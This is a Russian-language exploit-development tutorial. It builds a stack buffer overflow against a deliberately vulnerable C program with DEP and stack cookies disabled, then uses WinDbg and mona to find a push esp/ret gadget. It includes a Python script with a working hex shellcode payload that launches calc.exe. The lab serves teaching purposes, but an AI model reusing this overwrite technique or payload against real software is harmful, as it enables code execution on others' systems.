Перейти к содержанию
Exploitme1 (“ret eip” overwrite)
Вот пример С/С++ кода который имеет очевидную уязвимость:
Code:
#include <cstdio>
int main() {
char name[32];
printf("Enter your name and press ENTER\n");
scanf("%s", name);
printf("Hi, %s!\n", name);
return 0;
}
Проблема в том, что scanf() будет продолжать записывать информацию за границы массива name. Что бы проверить уязвимость, запустите программу и введите очень длинное имя на подобии такого:
Code:
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Программа должна вывести:
Code:
Hi, aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa!
и потом завершиться с ошибкой.
Интересное поведение программы в том, что если ввести конкретное имя, то мы можем добиться выполнение произвольного кода.
Прежде всего, в VS 2013, нам надо отключить DEP и stack cookies перейдя в Project→properties и изменить конфигурацию Release следующим образом:- Configuration Properties
- C/C++
- Code Generation
- Security Check: Disable Security Check (/GS-)
- Linker
- Advanced
- Data Execution Prevention (DEP): No (/NXCOMPAT:NO)
Представления нашей функции main() в ассемблерных кодах:
Code:
int main() {
01391000 55 push ebp
01391001 8B EC mov ebp,esp
01391003 83 EC 20 sub esp,20h
char name[32];
printf("Enter your name and press ENTER\n");
01391006 68 00 21 39 01 push 1392100h
0139100B FF 15 8C 20 39 01 call dword ptr ds:[139208Ch]
scanf("%s", name);
01391011 8D 45 E0 lea eax,[name]
01391014 50 push eax
01391015 68 24 21 39 01 push 1392124h
0139101A FF 15 94 20 39 01 call dword ptr ds:[1392094h]
printf("Hi, %s!\n", name);
01391020 8D 45 E0 lea eax,[name]
01391023 50 push eax
01391024 68 28 21 39 01 push 1392128h
01391029 FF 15 8C 20 39 01 call dword ptr ds:[139208Ch]
0139102F 83 C4 14 add esp,14h
return 0;
01391032 33 C0 xor eax,eax
}
01391034 8B E5 mov esp,ebp
01391036 5D pop ebp
01391037 C3 ret
Ассемблерный код который вызывает main():
Code:
mainret = main(argc, argv, envp);
00261222 FF 35 34 30 26 00 push dword ptr ds:[263034h]
00261228 FF 35 30 30 26 00 push dword ptr ds:[263030h]
0026122E FF 35 2C 30 26 00 push dword ptr ds:[26302Ch]
00261234 E8 C7 FD FF FF call main (0261000h)
00261239 83 C4 0C add esp,0Ch
Как вы знаете, стек растет по направлению к меньшим адресам. Представление стека после трех пушей которые представлены выше:
Code:
esp --> argc ; третий push
argv ; второй push
envp ; первый push
Инструкция call проталкивает адрес 0x261239 в стек так, что бы инструкция ret могла вернуться к коду следующему после call инструкции. Сразу после инструкции call, в начале функции main() стек выглядит следующим образом:
Code:
esp --> ret eip ; 0x261239
argc ; третий push
argv ; второй push
envp ; первый push
Функция main() начинается с:
Code:
01391000 55 push ebp
01391001 8B EC mov ebp,esp
01391003 83 EC 20 sub esp,20h
После этих трех инструкций, стек приобретает следующий вид:
Code:
esp --> name[0..3] ; первые 4 байта "name"
name[4..7]
.
.
.
name[28..31] ; последние 4 байта "name"
ebp --> сохраненный ebp
ret eip ; 0x261239
argc ; третий push
argv ; второй push
envp ; первый push
Сейчас scanf() читает данные из стандартного ввода и записывает их в name. Если данные больше 32-х байт, инструкция ret eip будет перезаписана.
Давайте посмотрим на последние 3 инструкции main():
Code:
01391034 8B E5 mov esp,ebp
01391036 5D pop ebp
01391037 C3 ret
После mov esp, ebp стек выглядит так:
Code:
esp,ebp -> сохраненный ebp
ret eip ; 0x261239
argc ; третий push
argv ; второй push
envp ; первый push
После pop ebp мы получим:
Code:
esp --> ret eip ; 0x261239
argc ; третий push
argv ; второй push
envp ; первый push
В конце, ret возвращает ret eip с вершины стека и переходит по тому адресу. Если мы изменим ret eip, мы сможем изменить поток выполнения куда захотим. Как уже было сказано, мы можем перезаписать ret eip записывая данные за границу массива name. Это возможно из-за того, что scanf() не проверяет длину входящих данных.
Смотря на схему выше, вы должны убедиться что ret eip это адрес name + 36.
В VS 2013, запустите отладчик нажатием клавиши F5 и введите много символов «а»:
Code:
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Программа должна завершиться с ошибкой (упасть) и должно появиться диалоговое окно со следующим содержимым:
Code:
Unhandled exception at 0x61616161 in exploitme1.exe: 0xC0000005: Access violation reading location 0x61616161.
ASCII код для символа «а» - 0x61. Мы перезаписываем ret eip символами «аааа», т.е. 0x61616161, и ret инструкция перейдет по адресу 0x61616161 который является некорректным. Давайте проверим тот факт, что ret eip это name + 36 введя 36 символов «а», четыре «b» и несколько «с»:
Code:
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbbccccccccc
Нас поприветствуют следующим сообщением:
Code:
Unhandled exception at 0x62626262 in exploitme1.exe: 0xC0000005: Access violation reading location 0x62626262.
Это подтверждает наши догадки. (Заметьте что 0x62626262 это “bbbb“.)
Подведем итог, вот наш стек до и после выполнения функции scanf():
Code:
name[0..3] aaaa
name[4..7] aaaa
. .
B . A .
E . F .
F name[28..31] =========> T aaaa
O saved ebp E aaaa
R ret eip R bbbb
E argc cccc
argv cccc
envp cccc
Что бы сделать этот процесс проще, давайте изменим программу таким образом, что бы текст читался из текстового файла c:\name.dat:
Code:
#include <cstdio>
int main() {
char name[32];
printf("Reading name from file...\n");
FILE *f = fopen("c:\\name.dat", "rb");
if (!f)
return -1;
fseek(f, 0L, SEEK_END);
long bytes = ftell(f);
fseek(f, 0L, SEEK_SET);
fread(name, 1, bytes, f);
name[bytes] = '\0';
fclose(f);
printf("Hi, %s!\n", name);
return 0;
}
Создайте файл name.dat в c:\ со следующим содержимым:
Code:
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbbccccccccccccccccccccccccccc
Теперь загрузите exploitme1.exe в WinDbg и нажмите клавишу F5 (go). Вы должны увидить исключение:
Code:
(180c.5b0): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000000 ecx=6d383071 edx=00835451 esi=00000001 edi=00000000
eip=62626262 esp=0041f7d0 ebp=61616161 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246
62626262 ?? ???
Давайте посмотрим на часть стека, на которую указывает ESP:
Code:
0:000> d @esp
0041f7d0 63 63 63 63 63 63 63 63-63 63 63 63 63 63 63 63 cccccccccccccccc
0041f7e0 63 63 63 63 63 63 63 63-63 63 63 00 00 00 00 00 ccccccccccc.....
0041f7f0 dc f7 41 00 28 00 00 00-44 f8 41 00 09 17 35 01 ..A.(...D.A...5.
0041f800 b9 17 e0 fa 00 00 00 00-14 f8 41 00 8a 33 0c 76 ..........A..3.v
0041f810 00 e0 fd 7e 54 f8 41 00-72 9f 9f 77 00 e0 fd 7e ...~T.A.r..w...~
0041f820 2c 2d 41 75 00 00 00 00-00 00 00 00 00 e0 fd 7e ,-Au...........~
0041f830 00 00 00 00 00 00 00 00-00 00 00 00 20 f8 41 00 ............ .A.
0041f840 00 00 00 00 ff ff ff ff-f5 71 a3 77 28 10 9e 02 .........q.w(...
0:000> d @esp-0x20
0041f7b0 61 61 61 61 61 61 61 61-61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa
0041f7c0 61 61 61 61 61 61 61 61-61 61 61 61 62 62 62 62 aaaaaaaaaaaabbbb
0041f7d0 63 63 63 63 63 63 63 63-63 63 63 63 63 63 63 63 cccccccccccccccc
0041f7e0 63 63 63 63 63 63 63 63-63 63 63 00 00 00 00 00 ccccccccccc.....
0041f7f0 dc f7 41 00 28 00 00 00-44 f8 41 00 09 17 35 01 ..A.(...D.A...5.
0041f800 b9 17 e0 fa 00 00 00 00-14 f8 41 00 8a 33 0c 76 ..........A..3.v
0041f810 00 e0 fd 7e 54 f8 41 00-72 9f 9f 77 00 e0 fd 7e ...~T.A.r..w...~
0041f820 2c 2d 41 75 00 00 00 00-00 00 00 00 00 e0 fd 7e ,-Au...........~
Замечательно! ESP указывает на наши символы «с». Обратите внимание на то, что ESP содержит 0x41f7d0. Теперь давайте запустим exploitme1.exe снова выполнив CTRL+SHIFT+F5 (restart) и потом F5. Смотрим снова на стек:
Code:
0:000> d @esp
0042fce0 63 63 63 63 63 63 63 63-63 63 63 63 63 63 63 63 cccccccccccccccc
0042fcf0 63 63 63 63 63 63 63 63-63 63 63 00 00 00 00 00 ccccccccccc.....
0042fd00 ec fc 42 00 29 00 00 00-54 fd 42 00 09 17 12 00 ..B.)...T.B.....
0042fd10 94 7f 07 21 00 00 00 00-24 fd 42 00 8a 33 0c 76 ...!....$.B..3.v
0042fd20 00 e0 fd 7e 64 fd 42 00-72 9f 9f 77 00 e0 fd 7e ...~d.B.r..w...~
0042fd30 c4 79 5c 75 00 00 00 00-00 00 00 00 00 e0 fd 7e .y\u...........~
0042fd40 00 00 00 00 00 00 00 00-00 00 00 00 30 fd 42 00 ............0.B.
0042fd50 00 00 00 00 ff ff ff ff-f5 71 a3 77 f0 41 80 02 .........q.w.A..
Как видите, ESP все еще указывает на наши символы «с», но адрес уже другой. Допустим мы вставим наш шелл-код на место «с». Мы не сможем перезаписать ret eip значением 0x42fce0 потому что правильным адрес продолжает меняться. Зато ESP всегда указывает на наш шелл-код, так почему же нам не переписать ret eip адресом части памяти которая содержит JMP ESP инструкцию?
Давайте используем mona’y (статья) что бы найти эту инструкцию:
Code:
0:000> .load pykd.pyd
0:000> !py mona
Hold on...
[+] Command used:
!py mona.py
'mona' - Exploit Development Swiss Army Knife - WinDbg (32bit)
Plugin version : 2.0 r554
PyKD version 0.2.0.29
Written by Corelan - https://www.corelan.be
Project page : https://github.com/corelan/mona
|------------------------------------------------------------------|
| |
| _____ ___ ____ ____ ____ _ |
| / __ `__ \/ __ \/ __ \/ __ `/ https://www.corelan.be |
| / / / / / / /_/ / / / / /_/ / https://www.corelan-training.com|
| /_/ /_/ /_/\____/_/ /_/\__,_/ #corelan (Freenode IRC) |
| |
|------------------------------------------------------------------|
Global options :
----------------
You can use one or more of the following global options on any command that will perform
a search in one or more modules, returning a list of pointers :
-n : Skip modules that start with a null byte. If this is too broad, use
option -cm nonull instead
-o : Ignore OS modules
-p <nr> : Stop search after <nr> pointers.
-m <module,module,...> : only query the given modules. Be sure what you are doing !
You can specify multiple modules (comma separated)
Tip : you can use -m * to include all modules. All other module criteria will be ignored
Other wildcards : *blah.dll = ends with blah.dll, blah* = starts with blah,
blah or *blah* = contains blah
-cm <crit,crit,...> : Apply some additional criteria to the modules to query.
You can use one or more of the following criteria :
aslr,safeseh,rebase,nx,os
You can enable or disable a certain criterium by setting it to true or false
Example : -cm aslr=true,safeseh=false
Suppose you want to search for p/p/r in aslr enabled modules, you could call
!mona seh -cm aslr
-cp <crit,crit,...> : Apply some criteria to the pointers to return
Available options are :
unicode,ascii,asciiprint,upper,lower,uppernum,lowernum,numeric,alphanum,nonull,startswithnull,unicoderev
Note : Multiple criteria will be evaluated using 'AND', except if you are looking for unicode + one crit
-cpb '\x00\x01' : Provide list with bad chars, applies to pointers
You can use .. to indicate a range of bytes (in between 2 bad chars)
-x <access> : Specify desired access level of the returning pointers. If not specified,
only executable pointers will be return.
Access levels can be one of the following values : R,W,X,RW,RX,WX,RWX or *
Usage :
-------
!mona <command> <parameter>
Available commands and parameters :
? / eval | Evaluate an expression
allocmem / alloc | Allocate some memory in the process
assemble / asm | Convert instructions to opcode. Separate multiple instructions with #
bpseh / sehbp | Set a breakpoint on all current SEH Handler function pointers
breakfunc / bf | Set a breakpoint on an exported function in on or more dll's
breakpoint / bp | Set a memory breakpoint on read/write or execute of a given address
bytearray / ba | Creates a byte array, can be used to find bad characters
changeacl / ca | Change the ACL of a given page
compare / cmp | Compare contents of a binary file with a copy in memory
config / conf | Manage configuration file (mona.ini)
copy / cp | Copy bytes from one location to another
dump | Dump the specified range of memory to a file
dumplog / dl | Dump objects present in alloc/free log file
dumpobj / do | Dump the contents of an object
egghunter / egg | Create egghunter code
encode / enc | Encode a series of bytes
filecompare / fc | Compares 2 or more files created by mona using the same output commands
fillchunk / fchunk | Fill a heap chunk referenced by a register
find / f | Find bytes in memory
findmsp / findmsf | Find cyclic pattern in memory
findwild / fw | Find instructions in memory, accepts wildcards
flow / flw | Simulate execution flows, including all branch combinations
fwptr / fwp | Find Writeable Pointers that get called
geteat / eat | Show EAT of selected module(s)
getiat / iat | Show IAT of selected module(s)
getpc | Show getpc routines for specific registers
gflags / gf | Show current GFlags settings from PEB.NtGlobalFlag
header | Read a binary file and convert content to a nice 'header' string
heap | Show heap related information
help | show help
hidedebug / hd | Attempt to hide the debugger
info | Show information about a given address in the context of the loaded application
infodump / if | Dumps specific parts of memory to file
jmp / j | Find pointers that will allow you to jump to a register
jop | Finds gadgets that can be used in a JOP exploit
kb / kb | Manage Knowledgebase data
modules / mod | Show all loaded modules and their properties
noaslr | Show modules that are not aslr or rebased
nosafeseh | Show modules that are not safeseh protected
nosafesehaslr | Show modules that are not safeseh protected, not aslr and not rebased
offset | Calculate the number of bytes between two addresses
pageacl / pacl | Show ACL associated with mapped pages
pattern_create / pc | Create a cyclic pattern of a given size
pattern_offset / po | Find location of 4 bytes in a cyclic pattern
peb / peb | Show location of the PEB
rop | Finds gadgets that can be used in a ROP exploit and do ROP magic with them
ropfunc | Find pointers to pointers (IAT) to interesting functions that can be used in your ROP chain
seh | Find pointers to assist with SEH overwrite exploits
sehchain / exchain | Show the current SEH chain
skeleton | Create a Metasploit module skeleton with a cyclic pattern for a given type of exploit
stackpivot | Finds stackpivots (move stackpointer to controlled area)
stacks | Show all stacks for all threads in the running application
string / str | Read or write a string from/to memory
suggest | Suggest an exploit buffer structure
teb / teb | Show TEB related information
tobp / 2bp | Generate WinDbg syntax to create a logging breakpoint at given location
unicodealign / ua | Generate venetian alignment code for unicode stack buffer overflow
update / up | Update mona to the latest version
Want more info about a given command ? Run !mona help
Строка, которой мы интересовались:
Code:
jmp / j | Найди указатели который разрешат вам перепрыгнуть вам к регистру
Попробуем это:
Code:
0:000> !py mona jmp
Hold on...
[+] Command used:
!py mona.py jmp
Usage :
Default module criteria : non aslr, non rebase
Mandatory argument : -r where reg is a valid register
[+] This mona.py action took 0:00:00
Хорошо, нам нужен другой аргумент:
Code:
0:000> !py mona jmp -r ESP
Hold on...
[+] Command used:
!py mona.py jmp -r ESP
---------- Mona command started on 2015-03-18 02:30:53 (v2.0, rev 554) ----------
[+] Processing arguments and criteria
- Pointer access level : X
[+] Generating module info table, hang on...
- Processing modules
- Done. Let's rock 'n roll.
[+] Querying 0 modules
- Search complete, processing results
[+] Preparing output file 'jmp.txt'
- (Re)setting logfile jmp.txt
Found a total of 0 pointers
[+] This mona.py action took 0:00:00.110000
К сожалению она не нашла ни одного модуля. Проблема в том, что все модули используют ASLR (Address Space Layout Randomization), т.е. их базовый адрес меняется каждое раз когда они загружаются в память. Представим себе, что сейчас нету ASLR и поищем JMP ESP в kernel32.dll модуле. Так как этот модуль расшарен всем приложениям, его позиция меняется только когда Windows был перезагружен, но пока это он не перезагружен, мы можем представить себе что ASLR не существует.
Указать mona’e искать в kernel32.dll нам поможет глобальная опция –m:
Code:
0:000> !py mona jmp -r ESP -m kernel32.dll
Hold on...
[+] Command used:
!py mona.py jmp -r ESP -m kernel32.dll
---------- Mona command started on 2015-03-18 02:36:58 (v2.0, rev 554) ----------
[+] Processing arguments and criteria
- Pointer access level : X
- Only querying modules kernel32.dll
[+] Generating module info table, hang on...
- Processing modules
- Done. Let's rock 'n roll.
[+] Querying 1 modules
- Querying module kernel32.dll
^ Memory access error in '!py mona jmp -r ESP -m kernel32.dll'
** Unable to process searchPattern 'mov eax,esp # jmp eax'. **
- Search complete, processing results
[+] Preparing output file 'jmp.txt'
- (Re)setting logfile jmp.txt
[+] Writing results to jmp.txt
- Number of pointers of type 'call esp' : 2
- Number of pointers of type 'push esp # ret ' : 1
[+] Results :
0x760e7133 | 0x760e7133 (b+0x00037133) : call esp | ascii {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7601.18409 (C:\Windows\syswow64\kernel32.dll)
0x7614ceb2 | 0x7614ceb2 (b+0x0009ceb2) : call esp | {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7601.18409 (C:\Windows\syswow64\kernel32.dll)
0x7610a980 | 0x7610a980 (b+0x0005a980) : push esp # ret | {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7601.18409 (C:\Windows\syswow64\kernel32.dll)
Found a total of 3 pointers
[+] This mona.py action took 0:00:00.172000
Отлично! Она нашла три адреса. Давайте используем последний:
Code:
0x7610a980 | 0x7610a980 (b+0x0005a980) : push esp # ret | {PAGE_EXECUTE_READ}
Проверим являются ли адреса корректными:
Code:
0:000> u 0x7610a980
kernel32!GetProfileStringW+0x1d3e4:
7610a980 54 push esp
7610a981 c3 ret
7610a982 1076db adc byte ptr [esi-25h],dh
7610a985 fa cli
7610a986 157640c310 adc eax,10C34076h
7610a98b 76c8 jbe kernel32!GetProfileStringW+0x1d3b9 (7610a955)
7610a98d fa cli
7610a98e 157630c310 adc eax,10C33076h
Как видите, mona будет искать не только JMP инструкции, но и CALL и PUSH+RET инструкции. По этому нам не надо перезаписывать ret eip значением 0x7610a980, т.е. байтами “\x80\xa9\x10\x76” (помните что порядок байтов в Intel CPU little-endian).
Давайте напишем маленький Python скрипт. Откроем редактор и введем:
Code:
with open('c:\\name.dat', 'wb') as f:
ret_eip = '\x80\xa9\x10\x76'
shellcode = '\xcc'
name = 'a'*36 + ret_eip + shellcode
f.write(name)
Перезапустите exploitme1.exe в WinDbg, нажмите F5 и WinDbg прервется на нашем шелл-коде (0xCC это опкод для int 3 которая используется отладчиками для программной точки останова):
Code:
(1adc.1750): Break instruction exception - code 80000003 (first chance)
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Windows\syswow64\kernel32.dll -
eax=00000000 ebx=00000000 ecx=6d383071 edx=002e5437 esi=00000001 edi=00000000
eip=001cfbf8 esp=001cfbf8 ebp=61616161 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
001cfbf8 cc int 3
Теперь напишем реальный шелл-код:
Code:
with open('c:\\name.dat', 'wb') as f:
ret_eip = '\x80\xa9\x10\x76'
shellcode = ("\xe8\xff\xff\xff\xff\xc0\x5f\xb9\x11\x03\x02\x02\x81\xf1\x02\x02"+
"\x02\x02\x83\xc7\x1d\x33\xf6\xfc\x8a\x07\x3c\x02\x0f\x44\xc6\xaa"+
"\xe2\xf6\x55\x8b\xec\x83\xec\x0c\x56\x57\xb9\x7f\xc0\xb4\x7b\xe8"+
"\x55\x02\x02\x02\xb9\xe0\x53\x31\x4b\x8b\xf8\xe8\x49\x02\x02\x02"+
"\x8b\xf0\xc7\x45\xf4\x63\x61\x6c\x63\x6a\x05\x8d\x45\xf4\xc7\x45"+
"\xf8\x2e\x65\x78\x65\x50\xc6\x45\xfc\x02\xff\xd7\x6a\x02\xff\xd6"+
"\x5f\x33\xc0\x5e\x8b\xe5\x5d\xc3\x33\xd2\xeb\x10\xc1\xca\x0d\x3c"+
"\x61\x0f\xbe\xc0\x7c\x03\x83\xe8\x20\x03\xd0\x41\x8a\x01\x84\xc0"+
"\x75\xea\x8b\xc2\xc3\x8d\x41\xf8\xc3\x55\x8b\xec\x83\xec\x14\x53"+
"\x56\x57\x89\x4d\xf4\x64\xa1\x30\x02\x02\x02\x89\x45\xfc\x8b\x45"+
"\xfc\x8b\x40\x0c\x8b\x40\x14\x8b\xf8\x89\x45\xec\x8b\xcf\xe8\xd2"+
"\xff\xff\xff\x8b\x3f\x8b\x70\x18\x85\xf6\x74\x4f\x8b\x46\x3c\x8b"+
"\x5c\x30\x78\x85\xdb\x74\x44\x8b\x4c\x33\x0c\x03\xce\xe8\x96\xff"+
"\xff\xff\x8b\x4c\x33\x20\x89\x45\xf8\x03\xce\x33\xc0\x89\x4d\xf0"+
"\x89\x45\xfc\x39\x44\x33\x18\x76\x22\x8b\x0c\x81\x03\xce\xe8\x75"+
"\xff\xff\xff\x03\x45\xf8\x39\x45\xf4\x74\x1e\x8b\x45\xfc\x8b\x4d"+
"\xf0\x40\x89\x45\xfc\x3b\x44\x33\x18\x72\xde\x3b\x7d\xec\x75\x9c"+
"\x33\xc0\x5f\x5e\x5b\x8b\xe5\x5d\xc3\x8b\x4d\xfc\x8b\x44\x33\x24"+
"\x8d\x04\x48\x0f\xb7\x0c\x30\x8b\x44\x33\x1c\x8d\x04\x88\x8b\x04"+
"\x30\x03\xc6\xeb\xdd")
name = 'a'*36 + ret_eip + shellcode
f.write(name)
Шелл-код был создан используя:
Code:
#define HASH_ExitThread 0x4b3153e0
#define HASH_WinExec 0x7bb4c07f
int entryPoint() {
DefineFuncPtr(WinExec);
DefineFuncPtr(ExitThread);
char calc[] = { 'c', 'a', 'l', 'c', '.', 'e', 'x', 'e', '\0' }; // makes our shellcode shorter
My_WinExec(calc, SW_SHOW);
My_ExitThread(0);
return 0;
}
Что бы освежить знания, вы можете пересмотреть статью о шелл-коде.
Если вы сейчас запустите exploitme1.exe, то перед вами должно быть окно калькулятора. Вау… наш первый эксплоит!
Выявление неисправностей
Если эксплойт не работает в вашей системе, этому может послужить причиной ограниченное место в стеке. Прочитайте статью «Больше места в стеке».
© Translated by klaus (r0 Crew)